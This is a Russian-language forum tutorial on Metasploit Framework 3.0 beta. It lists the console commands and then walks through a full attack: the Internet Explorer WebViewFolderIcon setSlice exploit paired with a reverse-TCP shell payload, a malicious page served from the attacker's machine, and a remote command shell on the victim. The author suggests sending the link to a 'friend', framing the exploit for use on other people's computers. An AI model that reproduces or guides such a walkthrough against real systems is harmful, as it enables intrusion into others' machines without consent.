Четверг, 16.05.2024, 17:08

Приветствую Вас Гость | RSS

Metasploit Framework 3.0


Предисловие:

Во-первых, кто не знает что это такое рекомендую к прочтению статьи:
Metasploit Framework для новичков
Раздача Троя (Или Metasploit Framework часть 2)
Metasploit Framework v. 3.0 (СКАЧЯТЬ)

Официально доступна уже третья beta пакета Metasploit Framework 3.0
Для windows качаем тут

1. Несколько главных отличий (на беглый взгляд) от версии 2.7

а) Во-первых появилась мультизадачность - ломать можно сразу несколько клиентов одновременно, используя разные сплоиты и начинки
б) Изменились названия сплоитов и они разложены по папкам (ИМХО так появился хоть какой-то порядок и определить для чего тот или иной сплоит предназначен можно по пути где он лежит, что не может не радовать, минус, что имя сплоита теперь приходится набирать с его путём, однако копи-пасте никто не отменял, будем использовать Cntr+insert и Shift+insert)
в) Появился Meterpreter - расширенная многофункциональная начинка (полезный груз), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости. Пожалуйста обратитесь к Meterpreter документации для глубокого описания того, как это работает и что Вы можете сделать с этим. Meterpreter руководство может быть найдено в подкаталоге docs Framework.
г) Убрали интерпретатор Perl, заменили его на интерпретатор Руби (сложно сказать почему, но ИМХО, это было сделано именно из-за особенностей этого интерпретатора, язык обладает независимой от операционной системы реализацией многопоточности - поэтому его и использовали. Соответственно все сплоиты переписали на Руби. (они имеют расширение rb)
д) Дольше стала грузится и медленней работать консоль (оно и понятно - интерпретатор Ruby, эмулятор cygwin, больше сплоитов и начинок). Да к тому же у меня всё это хозяйство стоит на VirtualPC в гостевой ОС - WIN XP SP2.

Пункты будут добавляться по мере нахождение важных отличий...

2. Использование.
Ну тут всё точно также как и в 2.7, за исключение одного ньюанса! Появилось понятие сессий или Jobs подругому (понятной инфы по этому нет даже на офиц. сайте)
Запускаем пакет (консоль msf).
Цитата:

Please use MSFUpdate to obtain the latest patches and exploits!

[*] Starting the Metasploit Framework...


_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|



=[ msf v3.0-beta-dev
+ -- --=[ 116 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 17 aux
msf >


баннер консоли показывает что в пакете 116 эксплоитов и 99 начинок (полезного груза), 17 кодеров, 4 только для указанных целей
командуем help - посмотрим что есть из комманд у нас...
Цитата:
msf > help

Core Commands
=============

Command Description
------- -----------
?_______________Help menu (вывод этого хелпа на экран)
back____________Move back from the current context (переместиться назад от текущего контекста)
banner__________Display an awesome metasploit banner (выводит на экран баннер метасплоита (то что выводится в начале))
cd______________Change the current working directory (смена рабочей директории)
exit_____________Exit the console (выход из консоли)
help_____________Help menu (вывод этого хелпа на экран)
info_____________Displays information about one or more module (Вывести на экран информацию об одном или нескольких модулях)
irb______________Drop into irb scripting mode (Упасть (перейти) в irb скриптинг режим)
jobs_____________Displays and manages jobs (Отобразить и управлять задачами)
load_____________Load a framework plugin (Загрузить плагин фрамворка)
loadpath__________Searches for and loads modules from a path (Поиск путей загруженных модулей)
quit______________Exit the console (Выход из консоли)
route_____________Route traffic through a session (Маршрут траффа через сеанс)
save_____________Saves the active datastores (Сохранить активную историю данных)
sessions__________Dump session listings and display information about sessions (Дампит листинг сессий и выводит информацию о них)
set______________Sets a variable to a value (Устанавливает значение переменной)
setg_____________Sets a global variable to a value (Устанавливает значение глобальной переменной)
show____________Displays modules of a given type, or all modules (Выводит на экран модули по типу или все модули)
sleep____________Do nothing for the specified number of seconds (Бездействие столько-то секунд)
unload___________Unload a framework plugin (Выгрузить плагин фрамворка)
unset____________Unsets one or more variables (Сбросить одну или более переменных)
unsetg___________Unsets one or more global variables (Сбросить одну или более глобальных переменных)
use______________Selects a module by name (Использовать (выбрать) модуль (эксплоит) по имени)
version___________Show the console library version number (Показать номер версии фрамворка и консоли)

msf >

Ага, команд стало больше! (по сравнению с версией 2.7)
затестим, так как будто мы только соскочили с версии 2.7
Цитата:
msf > show
Encoders
========
Name Description
---- -----------
...пропушено...

NOP Generators
==============
...пропущено...

Exploits
========
...пропущено...
(тут много разных эксплоитов)
windows /browser/webview_setslice Internet Explorer WebViewFolderIcon setSlice() Overflow
... пропущено...
Payloads
========

Name Description
---- -----------
...пропущено...
windows /shell_reverse_tcp Windows Command Shell, Reverse TCP Inline
...пропущено...
Auxiliary
=========
...пропущено...

Ну я не зря оставил только один сплоит(для свежей дыры в безопасности IE6-7) и любимую начинку - реверсшелл, так как затестим пакет именно с помощью их..
И так... go!

3. Практика применения.

Цитата:
msf > use windows/browser/webview_setslice
msf exploit(webview_setslice) >
- выбрали сплоит, команда use удачно выполнилась!
Посмотрим по нём инфу (рекомендую тем кто не знает что это за сплоит)
Цитата:
msf exploit(webview_setslice) > info

Name: Internet Explorer WebViewFolderIcon setSlice() Overflow
Version: 3783
Platform: Windows
Privileged: No
License: Metasploit Framework License v1.0

Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id Name
-- ----
0 Windows XP SP0-SP2 / IE 6.0SP1 English

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.0.1 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1024
Avoid: 1 characters

Description:
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw
was published during the Month of Browser Bugs project (MoBB #18).

References:
http://www.osvdb.org/27110
http://www.securityfocus.com/bid/19030
http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html

msf exploit(webview_setslice) >

Прекрасно! Проверим установку переменной LHOST (по старинке, тут почему-то уже другое имя SRVHOST, ну да ладно!)
Цитата:
msf exploit(webview_setslice) > set LHOST 10.0.0.1
LHOST => 10.0.0.1
msf exploit(webview_setslice) >
- вроде как устанавливается, дальше выбираем начинку, старый добрый реверсшелл..
Цитата:
msf exploit(webview_setslice) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(webview_setslice) >
всё, к сплоиту удачно "прикрутилась" полезная нагрузка - реверсшелл, осталось скомандовать exploit! СТОП! Глянем ещё раз на параметры сплоита, там мне понравилась опция URIPATH - URI - имя (наверно можно и не полный путь) вредоносной страницы web-сервера метасплоита на котором повиснет наш эксплоит с реверсшеллом, по умолчанию он случайный, ну а мы назавём к примеру так svegaya_baga
Цитата:
msf exploit(webview_setslice) > set URIPATH svegaya_baga
URIPATH => svegaya_baga
всё ок! присвоили значение переменной URIPATH, пора уже командовать exploit
Цитата:
msf exploit(webview_setslice) > exploit
[*] Started reverse handler
[*] Using URL: http://10.0.0.1:8080/svegaya_baga
[*] Server started.
[*] Exploit running as background job.
msf exploit(webview_setslice) >

Сервак поднят по адресу http://10.0.0.1:8080/svegaya_baga - тут висит наш сплоит с начинкой!
Заходим IE эксплорером по этой ссылке (я заходил с другой гостевой ОС, а вы даёте ссылку другу), сплоит на переполнение, поэтому придётся подождать некоторое время...Опс! Сообщение в консоли!
Цитата:
msf exploit(webview_setslice) >[*] Command shell session 1 opened (10.0.0.1:4444 -> 10.0.0.2:1548)

Открыта одна сессия с командной оболочкой! И что дальше делать? Где наш удалённый cmd? А вот что, жмём просто ввод, далее набираем "sessions -i 1" и мы в удалённой командной строке юзверя
Цитата:
msf exploit(webview_setslice) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [‚ҐабЁп 5.1.2600]
(‘) Љ®аЇ®а*жЁп Њ*©Єа®б®дв, 1985-2001.

C:\Documents and Settings\Ђ¤¬Ё*Ёбва*в®а\ђ*Ў®зЁ© бв®«>
ну а дальше вы всё знаете... например скомандуем в консоли cmd chcp 1251 (поменяем кодовую страницу на виндовую русскую)
Цитата:
C:\Documents and Settings\Ђ¤¬Ё*Ёбва*в®а\ђ*Ў®зЁ© бв®«>chcp 1251
chcp 1251
’ҐЄгй*п Є®¤®ў*п бва**Ёж*: 1251

C:\Documents and Settings\Администратор\Рабочий стол> cd \
cd \

C:\>dir
dir
Том в устройстве C не имеет метки.
Серийный номер тома: 0000-ХХХХ

Содержимое папки C:\

14.07.2006 13:47 <DIR> WINNT
14.07.2006 13:55 <DIR> Documents and Settings
14.07.2006 14:04 <DIR> Program Files
14.07.2006 14:06 0 CONFIG.SYS
14.07.2006 14:06 0 AUTOEXEC.BAT
14.07.2006 14:40 <DIR> Сплоит
26.09.2006 09:20 <DIR> common
05.12.2006 14:26 139*264 hddflooder05.exe
05.12.2006 14:31 16*384 flooder.exe
05.12.2006 14:33 135*168 hddflooder.exe
05.12.2006 14:36 157*184 ICQ Flooder.exe
05.12.2006 16:18 <DIR> 1
6 файлов 448*000 байт
6 папок 15*910*240*256 байт свободно

C:\>